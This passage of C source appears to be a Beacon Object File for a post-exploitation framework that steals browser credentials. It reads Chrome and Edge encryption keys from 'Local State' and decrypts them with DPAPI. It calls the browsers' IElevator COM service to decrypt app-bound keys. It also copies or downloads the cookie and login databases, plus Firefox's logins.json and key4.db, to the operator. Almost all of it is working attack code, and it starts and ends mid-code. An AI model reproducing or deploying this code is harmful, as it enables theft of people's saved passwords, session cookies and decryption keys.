WINAPI    KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);\n// WINBASEAPI HANDLE WINAPI  KERNEL32$GetCurrentProcess (VOID);\nWINBASEAPI DWORD WINAPI KERNEL32$GetFileType(HANDLE hFile);\nWINBASEAPI BOOL WINAPI    KERNEL32$DuplicateHandle (HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwOptions);\nWINBASEAPI HANDLE WINAPI  KERNEL32$OpenProcess (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);\nWINBASEAPI BOOL WINAPI    CRYPT32$CryptStringToBinaryA (LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);\n//WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName);\n//WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName);\nWINBASEAPI DWORD WINAPI   KERNEL32$SetFilePointer (HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);\n//WINBASEAPI VOID WINAPI    KERNEL32$SetLastError (DWORD dwErrCode);\nDECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$NtQuerySystemInformation(int SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);\nWINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);\nWINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap (VOID);\nWINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nDECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryObject(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG);\n\nWINBASEAPI BSTR WINAPI OLEAUT32$SysAllocStringByteLen(LPCSTR psz,UINT len);\nWINBASEAPI void WINAPI OLEAUT32$SysFreeString(BSTR);\nWINBASEAPI UINT WINAPI OLEAUT32$SysStringByteLen(BSTR bstr);\n\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx (LPVOID pvReserved, DWORD dwCoInit);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoUninitialize (void);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);\nDECLSPEC_IMPORT\tHRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown* pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, OLECHAR* pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities);\nWINBASEAPI void __cdecl MSVCRT$free(void *_Memory);\nWINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI NCRYPT$NCryptFreeObject (NCRYPT_HANDLE hObject);\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI NCRYPT$NCryptDecrypt (NCRYPT_KEY_HANDLE hKey, PBYTE pbInput, DWORD cbInput, VOID *pPaddingInfo, PBYTE pbOutput, DWORD cbOutput, DWORD *pcbResult, DWORD dwFlags);\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI NCRYPT$NCryptOpenKey (NCRYPT_PROV_HANDLE hProvider, NCRYPT_KEY_HANDLE *phKey, LPCWSTR pszKeyName, DWORD dwLegacyKeySpec, DWORD dwFlags);\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI NCRYPT$NCryptOpenStorageProvider (NCRYPT_PROV_HANDLE *phProvider, LPCWSTR pszProviderName, DWORD dwFlags);\n\nDECLSPEC_IMPORT HRESULT WINAPI SHELL32$SHGetFolderPathA(HWND hwnd, int csidl, HANDLE hToken, DWORD dwFlags, LPSTR pszPath);\nWINBASEAPI BOOL WINAPI SHLWAPI$PathAppendA(LPCSTR pszPath, LPCSTR pszMore);\nWINBASEAPI int __cdecl MSVCRT$rand();\nWINBASEAPI void __cdecl MSVCRT$srand(int initial);\nWINBASEAPI time_t __cdecl MSVCRT$time(time_t *time);\nWINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount);\n\n//#define IMPORT_RESOLVE FARPROC SHGetFolderPath = Resolver(\"shell32\", \"SHGetFolderPathA\"); \\\n//    FARPROC PathAppend = Resolver(\"shlwapi\", \"PathAppendA\"); \\\n//    FARPROC srand = Resolver(\"msvcrt\", \"srand\");\\\n//    FARPROC time = Resolver(\"msvcrt\", \"time\");\\\n//    FARPROC strnlen = Resolver(\"msvcrt\", \"strnlen\");\\\n//    FARPROC rand = Resolver(\"msvcrt\", \"rand\");\\\n//    FARPROC realloc = Resolver(\"msvcrt\", \"realloc\");\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)\n#define DATA_FREE(d, l) \\\n    if (d) { \\\n        MSVCRT$memset(d, 0, l); \\\n        intFree(d); \\\n        d = NULL; \\\n    }\n#define CSIDL_LOCAL_APPDATA 0x001c\n#define CSIDL_APPDATA 0x001a\nstatic char* supported_browsers[] = {\"chrome\", \"msedge\", \"firefox\"};\n\n//workaround for no slot for function (reduce number of Win32 APIs called)\n//FARPROC Resolver(CHAR *lib, CHAR *func) {\n//    FARPROC ptr = KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA(lib), func);\n//    return ptr;\n//}\n\nCHAR* GetFileContent(CHAR *path, DWORD* size) {\n    CHAR fullPath[MAX_PATH];\n    HANDLE hFile = NULL;\n\n    if (size) *size = 0;\n    if (!path || !size) {\n        return NULL;\n    }\n\n    if (path[0] == '\\\\') {\n        BeaconPrintf(CALLBACK_OUTPUT,\"[+] Appending local app data path\\n\");\n        CHAR appdata[MAX_PATH];\n        SHELL32$SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appdata);\n        SHLWAPI$PathAppendA(appdata, path);\n        MSVCRT$strncpy(fullPath, appdata, MAX_PATH - 1);\n        fullPath[MAX_PATH - 1] = '\\0';\n    } else {\n        MSVCRT$strncpy(fullPath, path, MAX_PATH - 1);\n        fullPath[MAX_PATH - 1] = '\\0';\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] LOOKING FOR FILE: %s\", fullPath);\n\n    //get handle to appdata\n    hFile = KERNEL32$CreateFileA(fullPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if(hFile == INVALID_HANDLE_VALUE) {\n        return NULL;\n    }\n\n    DWORD dwRead = 0;\n    //read cookie file and return as buffer var\n    DWORD dwSize = KERNEL32$GetFileSize(hFile, NULL);\n    CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);\n    KERNEL32$ReadFile(hFile, buffer, dwSize, &dwRead, NULL);\n    KERNEL32$CloseHandle(hFile);\n\n    if(dwSize != dwRead) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"[!] file size mismatch. Expected %lu, got %lu\\n\", dwSize, dwRead);\n        KERNEL32$GlobalFree(buffer);\n        *size = 0;\n        return NULL;\n    }\n    *size = dwSize;\n    return buffer;\n}\n\nCHAR *ExtractKey(CHAR *buffer, CHAR * pattern) {\n    //look for pattern with key\n    //CHAR pattern[] = \"\\\"encrypted_key\\\":\\\"\";\n    CHAR *start = MSVCRT$strstr(buffer, pattern);\n    CHAR *end = NULL;\n    CHAR *key = NULL;\n    DWORD dwSize = 0;\n\n    if(start == NULL) {\n        return NULL;\n    }\n\n    // calc length of key\n    start += MSVCRT$strlen(pattern);\n    buffer = start;\n    end = MSVCRT$strstr(buffer, \"\\\"\");\n\n    if(end == NULL) {\n        return NULL;\n    }\n    dwSize = end - start;\n\n    //extract key from file\n    key = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);\n    MSVCRT$strncpy(key, buffer, dwSize);\n    return key;\n}\n\nVOID GetMasterKey(CHAR *key) {\n    Buffer result = {0};\n    DWORD dwOut = 0;\n\n    //calculate size of key\n    if (!CRYPT32$CryptStringToBinaryA(key, 0, CRYPT_STRING_BASE64, NULL, &dwOut, NULL, NULL)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to decrypt base64 key\\n\");\n        return;\n    }\n    result.data = (unsigned char*)MSVCRT$malloc(dwOut);\n    if (!result.data) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to allocate memory for key\\n\");\n        return;\n    }\n    if (!CRYPT32$CryptStringToBinaryA(key, 0, CRYPT_STRING_BASE64, result.data, &dwOut, NULL, NULL)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to decrypt base64 key\\n\");\n        MSVCRT$free(result.data);\n        return;\n    }\n\n    if (dwOut < 5 || MSVCRT$memcmp(result.data, \"DPAPI\", 5) != 0) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Invalid DPAPI Prefix\\n\");\n        MSVCRT$free(result.data);\n        return;\n    }\n    DATA_BLOB db;\n    DATA_BLOB final;\n    db.pbData = result.data + 5;\n    db.cbData = dwOut - 5;\n\n    //decrypt key with dpapi for current user\n    if (!CRYPT32$CryptUnprotectData(&db, NULL, NULL, NULL, NULL, 0, &final)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Decrypting the key failed.\\n\");\n        MSVCRT$free(result.data);\n        return;\n    }\n\n    // return decrypted key\n    CHAR *output = (CHAR*)KERNEL32$GlobalAlloc(GPTR, (final.cbData * 4) + 1);\n    if (!output) {\n        MSVCRT$free(result.data);\n        return;\n    }\n    int offset = 0;\n    for(DWORD i = 0; i < final.cbData; i++) {\n        int written = MSVCRT$_snprintf( output + offset, (final.cbData * 4) + 1 - offset, \"\\\\x%02x\", final.pbData[i] );\n        if (written < 0) break;\n        offset += written;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT,\"[+] -> Decrypted Master Key: %s \\n\", output );\n\n    // rewind to the start of the buffer\n    MSVCRT$free(result.data);\n    KERNEL32$GlobalFree(output);\n    KERNEL32$LocalFree(final.pbData);\n}\n\n// https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824\nconst uint8_t kCryptAppBoundKeyPrefix[] = { 'A', 'P', 'P', 'B' };\nconst char* BASE64_CHARS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n#define KEY_SIZE 32\n\nint isBase64(char c) {\n    return (c >= 'A' && c <= 'Z') ||    // Uppercase letters\n           (c >= 'a' && c <= 'z') ||    // Lowercase letters\n           (c >= '0' && c <= '9') ||    // Digits\n           (c == '+') || (c == '/');    // '+' and '/'\n}\n\nuint8_t* Base64Decode(const char* encoded_string, size_t* out_len) {\n    if (!encoded_string || !out_len) {\n        if (out_len) *out_len = 0;\n        return NULL;\n    }\n\n    int in_len = MSVCRT$strlen(encoded_string);\n    int i = 0, j = 0, in_ = 0;\n    uint8_t char_array_4[4], char_array_3[3];\n    size_t decoded_size = ((in_len + 3) / 4) * 3;\n    uint8_t* decoded_data = (uint8_t*)MSVCRT$malloc(decoded_size);\n    if (!decoded_data) {\n        *out_len = 0;\n        return NULL;\n    }\n    *out_len = 0;\n    while (in_len-- && (encoded_string[in_] != '=') && isBase64(encoded_string[in_])) {\n        char_array_4[i++] = encoded_string[in_]; in_++;\n        if (i == 4) {\n            for (i = 0; i < 4; i++) {\n                char *pos = MSVCRT$strchr(BASE64_CHARS, char_array_4[i]);\n                if (pos == NULL) {\n                    BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid base64 character\\n\");\n                    MSVCRT$free(decoded_data);\n                    *out_len = 0;\n                    return NULL;\n                }\n                char_array_4[i] = pos - BASE64_CHARS;\n            }\n            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);\n            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);\n            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];\n\n            for (i = 0; i < 3; i++)\n                decoded_data[(*out_len)++] = char_array_3[i];\n            i = 0;\n        }\n    }\n\n    if (i) {\n        for (j = i; j < 4; j++) char_array_4[j] = 0;\n        for (j = 0; j < 4; j++) char_array_4[j] = MSVCRT$strchr(BASE64_CHARS, char_array_4[j]) - BASE64_CHARS;\n        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);\n        char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);\n        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];\n\n        for (j = 0; j < i - 1; j++) decoded_data[(*out_len)++] = char_array_3[j];\n    }\n\n    //BeaconPrintf(CALLBACK_OUTPUT, \"Decoded Data: %s\\n\", decoded_data);\n    return decoded_data;\n}\n\nchar* BytesToHexString(const BYTE *byteArray, size_t size) {\n    char *hexStr = (char*)MSVCRT$malloc((size * 4) + 1);\n    if (!hexStr) return NULL;\n    for (size_t i = 0; i < size; ++i) {\n        int result = MSVCRT$_snprintf( hexStr + (i * 4), 5, \"\\\\x%02x\", byteArray[i] );\n        if (result < 0) {\n            MSVCRT$free(hexStr);\n            return NULL;\n        }\n    }\n    return hexStr;\n}\n\nVOID GetAppBoundKey(CHAR * key, CHAR * browser, const CLSID CLSID_Elevator, const IID IID_IElevator) {\n    // initialize COM\n    HRESULT hr = OLE32$CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);\n    if (FAILED(hr)) {\n    \thr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);\n    \tif (FAILED(hr)) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR,\"[!] CoInitializeEx failed: 0x%x\\n\", hr);\n        \treturn;\n\t\t}\n    }\n    IElevatorChrome* chromeElevator = NULL;\n    IElevatorEdge* edgeElevator = NULL;\n    // Create an instance of the IElevator COM object\n    if (MSVCRT$strcmp(browser, \"chrome\") == 0){\n        hr = OLE32$CoCreateInstance(&CLSID_Elevator, NULL, CLSCTX_LOCAL_SERVER, &IID_IElevator, (void**)&chromeElevator);\n        if (FAILED(hr)){\n            BeaconPrintf(CALLBACK_ERROR, \"[*] CoCreateInstance with Chrome_IID_IElevator2 failed (0x%08X), trying Chrome_IID_IElevator...\\n\", hr);\n            hr = OLE32$CoCreateInstance(&CLSID_Elevator, NULL, CLSCTX_LOCAL_SERVER, &Chrome_IID_IElevator, (void**)&chromeElevator);\n        }\n    }\n    if (MSVCRT$strcmp(browser, \"msedge\") == 0){\n        hr = OLE32$CoCreateInstance(&CLSID_Elevator, NULL, CLSCTX_LOCAL_SERVER, &IID_IElevator, (void**)&edgeElevator);\n    }\n    if (FAILED(hr)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to create IElevator instance.\\n\");\n        OLE32$CoUninitialize();\n        return;\n    }\n    // Set the security blanket on the proxy\n    if (MSVCRT$strcmp(browser, \"chrome\") == 0) {\n        hr = OLE32$CoSetProxyBlanket(\n            (IUnknown *) chromeElevator,\n            RPC_C_AUTHN_DEFAULT,\n            RPC_C_AUTHZ_DEFAULT,\n            COLE_DEFAULT_PRINCIPAL,\n            RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n            RPC_C_IMP_LEVEL_IMPERSONATE,\n            NULL,\n            EOAC_DYNAMIC_CLOAKING\n        );\n    }\n    if (MSVCRT$strcmp(browser, \"msedge\") == 0) {\n        hr = OLE32$CoSetProxyBlanket(\n            (IUnknown *) edgeElevator,\n            RPC_C_AUTHN_DEFAULT,\n            RPC_C_AUTHZ_DEFAULT,\n            COLE_DEFAULT_PRINCIPAL,\n            RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n            RPC_C_IMP_LEVEL_IMPERSONATE,\n            NULL,\n            EOAC_DYNAMIC_CLOAKING\n        );\n    }\n\n    if (FAILED(hr)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to set proxy blanket.\\n\");\n        OLE32$CoUninitialize();\n        return;\n    }\n\n    // base64 decode\n    size_t encrypted_key_len;\n    uint8_t* encrypted_key_with_header = Base64Decode(key, &encrypted_key_len);\n    if (MSVCRT$memcmp(encrypted_key_with_header, kCryptAppBoundKeyPrefix, sizeof(kCryptAppBoundKeyPrefix)) != 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid key header.\\n\");\n        MSVCRT$free(encrypted_key_with_header);\n        OLE32$CoUninitialize();\n        return;\n    }\n\n    //remove app bound key prefix\n    uint8_t *encrypted_key = (uint8_t*)MSVCRT$malloc(encrypted_key_len - sizeof(kCryptAppBoundKeyPrefix));\n    MSVCRT$memcpy(encrypted_key, encrypted_key_with_header + sizeof(kCryptAppBoundKeyPrefix), encrypted_key_len - sizeof(kCryptAppBoundKeyPrefix));\n    encrypted_key_len -= sizeof(kCryptAppBoundKeyPrefix);\n\n    BSTR ciphertext_data = OLEAUT32$SysAllocStringByteLen((const char*)encrypted_key , encrypted_key_len );\n\n    BSTR plaintext_data = NULL;\n    DWORD last_error = ERROR_GEN_FAILURE;\n    if (MSVCRT$strcmp(browser, \"chrome\") == 0){\n        hr = chromeElevator->lpVtbl->DecryptData(chromeElevator,ciphertext_data, &plaintext_data, &last_error);\n    }\n    if (MSVCRT$strcmp(browser, \"msedge\") == 0){\n        hr = edgeElevator->lpVtbl->DecryptData(edgeElevator,ciphertext_data, &plaintext_data, &last_error);\n    }\n    // return decrypted key\n    if (SUCCEEDED(hr)) {\n        DWORD decrypted_size = OLEAUT32$SysStringByteLen(plaintext_data);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] => Decrypted App Bound Key: %s\\n\", BytesToHexString(plaintext_data, decrypted_size));\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"       App Bound Key Decryption failed. Last error: %lu (If error 203, beacon is most likely not operating out of correct file path)\\n\", last_error);\n    }\n\n    OLEAUT32$SysFreeString(plaintext_data);\n    OLEAUT32$SysFreeString(ciphertext_data);\n\n    MSVCRT$free(encrypted_key_with_header);\n    MSVCRT$free(encrypted_key);\n    if (MSVCRT$strcmp(browser, \"chrome\") == 0){\n        hr = chromeElevator->lpVtbl->Release(chromeElevator);\n    }\n    if (MSVCRT$strcmp(browser, \"msedge\") == 0){\n        hr = edgeElevator->lpVtbl->Release(edgeElevator);\n    }\n\n    OLE32$CoUninitialize();\n    return;\n}\n\nVOID GetEncryptionKey(char * browser) {\n    char * browserProcess = \"\";\n    char * localStatePath = \"\";\n\n    if (MSVCRT$strcmp(browser, \"msedge\") == 0){\n        browserProcess = \"msedge.exe\";\n        localStatePath = \"\\\\Microsoft\\\\Edge\\\\User Data\\\\Local State\";\n    }\n    if (MSVCRT$strcmp(browser, \"chrome\") == 0){\n        browserProcess = \"chrome.exe\";\n        localStatePath = \"\\\\Google\\\\Chrome\\\\User Data\\\\Local State\";\n    }\n\n    // now we can decrypt v10 as well, as it is not needed with the use of app bound encryption\n    CHAR *app_key = NULL;\n    CHAR *key = NULL;\n    DWORD app_data_size = NULL;\n    CHAR *app_data = GetFileContent(localStatePath, &app_data_size);\n    if(app_data == NULL) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Reading the file failed.\\n\");\n        return;\n    }\n\n    CHAR pattern[] = \"\\\"encrypted_key\\\":\\\"\";\n    key = ExtractKey(app_data, pattern);\n    CHAR app_pattern[] =  \"\\\"app_bound_encrypted_key\\\":\\\"\";\n    app_key = ExtractKey(app_data, app_pattern);\n    if(key != NULL) {\n        GetMasterKey(key);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] There's no v10 encryption key, checking v20...\");\n    }\n    if(app_key == NULL) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] No appbound encryption key available\\n\");\n        return;\n    }\n    if (MSVCRT$strcmp(browser, \"chrome\") == 0){\n        GetAppBoundKey(app_key, browser, Chrome_CLSID_Elevator, Chrome_IID_IElevator2);\n    }\n    if (MSVCRT$strcmp(browser, \"msedge\") == 0){\n        GetAppBoundKey(app_key, browser, Edge_CLSID_Elevator, Edge_IID_IElevator);\n    }\n    KERNEL32$GlobalFree(app_data);\n\n    return;\n}\n\nCHAR *GetFirefoxFile(CHAR *file, CHAR* profile){\n    size_t profile_len = MSVCRT$strlen(profile);\n    size_t file_len = MSVCRT$strlen(file);\n    size_t total_len = profile_len + file_len + 1;\n\n    CHAR *tempProfile = (CHAR*)KERNEL32$GlobalAlloc(GPTR, total_len);\n    if (!tempProfile) return NULL;\n\n    MSVCRT$strncpy(tempProfile, profile, profile_len);\n    MSVCRT$strncat(tempProfile, file, file_len);\n\n    return tempProfile;\n}\n\nVOID GetFirefoxInfo() {\n    //get firefox key\n    CHAR appdata[MAX_PATH];\n    HANDLE hFile = NULL;\n\n    //get appdata local path and append path\n    SHELL32$SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdata);\n    SHLWAPI$PathAppendA(appdata, \"\\\\Mozilla\\\\Firefox\\\\profiles.ini\");\n\n    //get handle to appdata\n    hFile = KERNEL32$CreateFileA(appdata, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if(hFile == INVALID_HANDLE_VALUE) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] File not found at: %s \\n\", appdata);\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Firefox not found on host\\n\");\n        return;\n    }\n\n    CHAR *buffer = NULL;\n    DWORD dwSize = 0;\n    DWORD dwRead = 0;\n\n    //read profiles.ini file and return as buffer var\n    dwSize = KERNEL32$GetFileSize(hFile, NULL);\n    buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);\n    KERNEL32$ReadFile(hFile, buffer, dwSize, &dwRead, NULL);\n    if(dwSize != dwRead) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] file size mismatch.\\n\");\n    }\n    KERNEL32$CloseHandle(hFile);\n\n    //look for pattern Default=Profiles/\n    CHAR pattern[] = \"Default=Profiles/\";\n    CHAR *start = MSVCRT$strstr(buffer, pattern);\n    CHAR *end = NULL;\n    if(start == NULL) {\n        return;\n    }\n\n    // calc length of profile\n    start += MSVCRT$strlen(pattern);\n    buffer = start;\n    end = MSVCRT$strstr(buffer, \".default-release\");\n\n    if(end == NULL) {\n        return ;\n    }\n    dwSize = end - start;\n\n    //extract profile from file\n    CHAR *profile = NULL;\n    profile = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);\n    MSVCRT$strncpy(profile, buffer, dwSize);\n\n    BeaconPrintf(CALLBACK_OUTPUT,\"[+] Firefox Default Profile: %s \\n\", profile );\n\n    // get path to logins.json\n    CHAR *logins = NULL;\n    logins = GetFirefoxFile(\".default-release\\\\logins.json\", profile);\n\n    //check if logins.json exists\n    hFile = KERNEL32$CreateFileA(logins, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if(hFile == INVALID_HANDLE_VALUE) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] File not found at: %s \\n\", logins);\n        return;\n    }\n    else{\n        BeaconPrintf(CALLBACK_OUTPUT,\"[+] Firefox Stored Credentials found at: %s \\n\", logins);\n        DWORD dwRead = 0;\n        DWORD dwFileSize = KERNEL32$GetFileSize(hFile, NULL);\n        CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);\n        KERNEL32$ReadFile(hFile, buffer, dwFileSize, &dwRead, NULL);\n        download_file(logins, buffer, dwFileSize);\n        KERNEL32$GlobalFree(buffer);\n        KERNEL32$CloseHandle(hFile);\n    }\n\n    // get path to logins.json\n    CHAR *database = NULL;\n    database = GetFirefoxFile(\".default-release\\\\key4.db\", profile);\n\n    //check if key4.db exists\n    hFile = KERNEL32$CreateFileA(database, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if(hFile == INVALID_HANDLE_VALUE) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] File not found at: %s \\n\", database);\n        return;\n    }\n    else{\n        BeaconPrintf(CALLBACK_OUTPUT,\"[+] Firefox Database found at: %s \\n\", database);\n        DWORD dwRead = 0;\n        DWORD dwFileSize = KERNEL32$GetFileSize(hFile, NULL);\n        CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);\n        KERNEL32$ReadFile(hFile, buffer, dwFileSize, &dwRead, NULL);\n        download_file(database, buffer, dwFileSize);\n        KERNEL32$GlobalFree(buffer);\n        KERNEL32$CloseHandle(hFile);\n    }\n\n}\n\nVOID GetBrowserData(char * browser, BOOL cookie, BOOL loginData, char * folderPath) {\n    //get handle to all processes\n    HANDLE hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    PROCESSENTRY32 pe32;\n    INT processCount = 0;\n    BOOL databaseStatus = FALSE;\n    BOOL passwordStatus = FALSE;\n    // if cookie only\n    if (cookie && !loginData) {\n        passwordStatus = TRUE;\n    } else if (loginData && !cookie) { // Password only\n        databaseStatus = TRUE;\n    }\n    pe32.dwSize = sizeof(PROCESSENTRY32);\n\n    char * browserProcess = \"\";\n    char * cookieDB = \"\";\n    char * passwordDB = \"\";\n    char * cookiePath = \"\";\n    char * passwordPath = \"\";\n\n    if (MSVCRT$strcmp(browser, \"msedge\") == 0){\n        browserProcess = \"msedge.exe\";\n        cookieDB = \"EdgeCookies.db\";\n        passwordDB = \"EdgePasswords.db\";\n        cookiePath = \"\\\\Microsoft\\\\Edge\\\\User Data\\\\Default\\\\Network\\\\Cookies\";\n        passwordPath = \"\\\\Microsoft\\\\Edge\\\\User Data\\\\Default\\\\Login Data\";\n    }\n    if (MSVCRT$strcmp(browser, \"chrome\") == 0){\n        browserProcess = \"chrome.exe\";\n        cookieDB = \"ChromeCookies.db\";\n        passwordDB = \"ChromePasswords.db\";\n        cookiePath = \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\";\n        passwordPath = \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\";\n    }\n\n    //iterate through each handle to find browser process\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Looking for %s Data \\n\", browser);\n    if(KERNEL32$Process32First(hSnap, &pe32)) {\n        do {\n            //BeaconPrintf(CALLBACK_OUTPUT, \"Process: %s\\n\", pe32.szExeFile);\n            if(MSVCRT$strcmp(pe32.szExeFile, browserProcess) == 0)\n            {\n                //edge was found, get cookies database\n                processCount++;\n                if (!databaseStatus){\n                    if (GetBrowserFile(pe32.th32ProcessID, \"Network\\\\Cookies\", cookieDB, folderPath)){\n                        databaseStatus = TRUE;\n                    }\n                }\n                if (!passwordStatus){\n                    if (GetBrowserFile(pe32.th32ProcessID, \"Login Data\", passwordDB, folderPath)){\n                        passwordStatus = TRUE;\n                    }\n                }\n                // Early exit if both files are found\n                if (databaseStatus && passwordStatus) {\n                    break;\n                }\n            }\n        } while(KERNEL32$Process32Next(hSnap, &pe32));\n        if (!databaseStatus && cookie) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to locate cookies database for %s\", browser);\n        }\n        if (!passwordStatus && loginData) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to locate login data for %s\", browser);\n        }\n    }\n    KERNEL32$CloseHandle(hSnap);\n    //check if process was running\n    if (processCount == 0) {\n        //check if file exists\n        BeaconPrintf(CALLBACK_OUTPUT,\"[!] %s not found running on host -> Downloading cookies directly from %s \\n\", browser, cookieDB);\n        DWORD data_size = 0;\n        CHAR *data = GetFileContent(cookiePath, &data_size);\n        if(data == NULL) {\n            BeaconPrintf(CALLBACK_ERROR,\"%s COOKIES not found on host\\n\", browser);\n            goto ret;\n        }\n        // if copy folder is not null, then copy to folder instead of download_file()\n        if (MSVCRT$strcmp(folderPath, \"\") != 0){\n            CHAR cookieFilePath[MAX_PATH];\n            MSVCRT$sprintf(cookieFilePath, \"%s\\\\%s\", folderPath, cookieDB);\n            HANDLE hFile = KERNEL32$CreateFileA(cookieFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n\n            if (hFile == INVALID_HANDLE_VALUE) {\n                BeaconPrintf(CALLBACK_ERROR, \"Failed to write cookie file to %s\\n\", cookieFilePath);\n            } else {\n                DWORD written = 0;\n                if (!KERNEL32$WriteFile(hFile, data, data_size, &written, NULL)) {\n                    BeaconPrintf(CALLBACK_ERROR, \"[!] WriteFile failed: %lu\\n\", KERNEL32$GetLastError());\n                    KERNEL32$CloseHandle(hFile);\n                    goto ret;\n                }\n                if (written != data_size) {\n                    BeaconPrintf(CALLBACK_ERROR, \"[!] Wrote %lu bytes, expected %lu\\n\", written, data_size);\n                }\n\n                BeaconPrintf(CALLBACK_OUTPUT, \"Wrote cookie file to: %s\\n\", cookieFilePath);\n                KERNEL32$CloseHandle(hFile);\n            }\n\n        } else {\n            